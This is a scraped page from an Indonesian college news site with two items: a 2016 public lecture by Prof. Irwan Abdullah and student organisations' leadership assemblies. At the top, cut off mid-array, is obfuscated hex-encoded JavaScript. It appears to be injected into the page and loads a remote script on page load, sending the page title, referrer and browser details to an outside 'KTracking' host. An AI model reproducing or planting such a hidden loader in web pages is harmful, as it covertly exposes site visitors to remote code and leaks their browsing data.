74\x74\x70\x73\x3A","\x69\x6E\x64\x65\x78\x4F\x66","\x52\x5F\x50\x41\x54\x48","\x54\x68\x65\x20\x77\x65\x62\x73\x69\x74\x65\x20\x77\x6F\x72\x6B\x73\x20\x6F\x6E\x20\x48\x54\x54\x50\x53\x2E\x20\x54\x68\x65\x20\x74\x72\x61\x63\x6B\x65\x72\x20\x6D\x75\x73\x74\x20\x75\x73\x65\x20\x48\x54\x54\x50\x53\x20\x74\x6F\x6F\x2E"];var d=document;var s=d[_0xd052[1]](_0xd052[0]);s[_0xd052[2]]= _0xd052[3]+ encodeURIComponent(document[_0xd052[4]])+ _0xd052[5]+ encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12];if(document[_0xd052[13]]){document[_0xd052[13]][_0xd052[15]][_0xd052[14]](s,document[_0xd052[13]])}else {d[_0xd052[18]](_0xd052[17])[0][_0xd052[16]](s)};if(document[_0xd052[11]][_0xd052[19]]=== _0xd052[20]&& KTracking[_0xd052[22]][_0xd052[21]](_0xd052[3]+ encodeURIComponent(document[_0xd052[4]])+ _0xd052[5]+ encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12])=== -1){alert(_0xd052[23])}

Jurusan Tarbiyah Gelar Kuliah Umum

STAIN PAREPARE-Kuliah umum Prof. Dr. Irwan Abdullah, MA. dalam rangka STUDIUM GENERAL Prodi sejarah kebudayaan islam Jurusan Tarbiyah Sekolah Tinggi Agama Islam Negeri Parepare yang diikut oleh puluhan mahasiswa dari jurusan tarbiyah yang bertempat di Aula Stain Parepare Jumat 1 April 2016.

Acara ini dibuka oleh bapak Muh Djunaedi. M.Ag selaku bidang akademik dan kelembagaan disampaikanya bahwa acara ini dibuat sebagai penambah pengetahuan tentang Sejarah Peradaban Islam dan Sebagai penguatan prodi khususnya prodi SPI (Sejarah Peradaban Islam).

Dalam kuliahnya Prof. Dr. Irwan Abdullah, MA. Menyampaikan tentang pentingnya menjadi manusia sebagai manusia yang sebenarnya agar kita mencapai hidup yang lebih baik (mengubah sesuatu yang kurang, kita ubah menjadi sesuatu yang lebih ) karena kelebihan yang kita dapat, bisa kita bagi kepada orang lain dan jika lembaga ini diberikan amanah untuk berubah menjadi IAIN itu artinya lembaga ini di percaya oleh negara, berarti lembaga ini kredibel untuk menjadi sebuah perguruan tinggi dengan stratifikasi yang lebih tinggi dan dengan semua itu negara memiliki kepercayaan lebih untuk berkembang.

Prof. Dr. Irwan Abdullah, MA. berharap agar mahasiswa STAIN Parepare tidak pernah lemah dan mengeluh dalam menuntut ilmu karena kesusahan yang kalian hadapi sekarang adalah tanda-tanda dari kesuksesan kalian.http://www.stainparepare.ac.id/2016/03/21/inovasi-program-pengabdian-masyarakat-p3m-stain-parepare/
kesusahan yang kalian hadapi sekarang adalah tanda-tanda dari kesuksesan kalian

Musyawarah Besar Organisasi Kemahasiswaan

STAIN PAREPARE - Organisasi merupakan suatu wadah yang terdiri dari dua orang atau lebih yang memiliki tujuan yang sama dan memiliki struktur kepengurusan. Setiap organisasi memiliki periode kepengurusan yang berbeda. Begitupun dengan organisasi kemahasiswaan di STAIN Parepare yang berjumlah 10, tidak termasuk diantaranya Senat Mahasiswa (SEMA), Dewan Mahasiswa (DEMA), dan Himpunan Mahasiswa Jurusan (HMJ), organisasi tersebut memiliki periode kepengurusan selama setahun.

Menjelang Pemilihan Mahasiswa Raya (PEMIRA) yang akan diadakan pada 25 April 2016, seluruh organisasi kemahasiswaan melakukan pergantian pengurus yang dilaksanakan melalui musyawarah besar. Senat Mahasiswa memberikan batas waktu kepada organisasi kemahasiswaan untuk melakukan pergantian pengurus atau mubes sampai pada 4 April 2016.

Sebanyak 4 organisasi yang telah melakukan pergantian pengurus diantaranya Korps Suka Rela (KSR) Unit 01, LPM RedLine, Perkemi Dojo, Pramuka Racana Albadi'. 6 organisasi lainnya sementara melakukan musyawarah besar diantaranya Lintasan Imajinasi Bahasa Mahasiswa (LIBAM), Aliansi Mahasiswa Seni (ANIMASI), Lembaga Dakwah Mahasiswa (LDM) Al-Madani, Mahasiswa Islam Pecinta Alam (MISPALA) Cosmosentris, Persatuan Olahraga Mahasiswa (PORMA) dan Resimen Mahasiswa (MENWA).

Masa mubes tiap organisasi berbeda, ada yang berlangsung selama sepekan namun adapula selama 4 hari saja. Mubes organisasi tidak hanya pergantian pengurus namun ada pembahasan mengenai anggaran dasar dan anggaran rumah tangga (AD/ART) untuk kepengurusan selanjutnya, pembahasan program kerja dan laporan pertanggungjawaban pengurus sebelumnya. Tempat mubes organisasi dilaksanakan di Aula, Auditorium dan kelas-kelas perkuliahan pada saat malam hari.